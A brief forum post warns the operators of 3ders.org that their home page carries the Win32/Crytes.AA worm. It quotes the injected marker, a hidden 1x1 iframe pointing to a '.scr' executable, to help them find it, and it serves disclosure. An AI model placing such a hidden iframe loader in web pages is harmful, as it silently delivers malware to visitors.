Are the people who run 3ders.org here?
Your site is infected with Win32/Crytes.AA worm according to my virus scanner nod32
You leave no methods to contact you so I have no option but to post publicly and hope you see it.
The worm inserts the following text marker into the infected files:
iframe src=Photo.scr width=1 height=1 frameborder=0
/iframe
I have manually confirmed this data is at the end of your home page.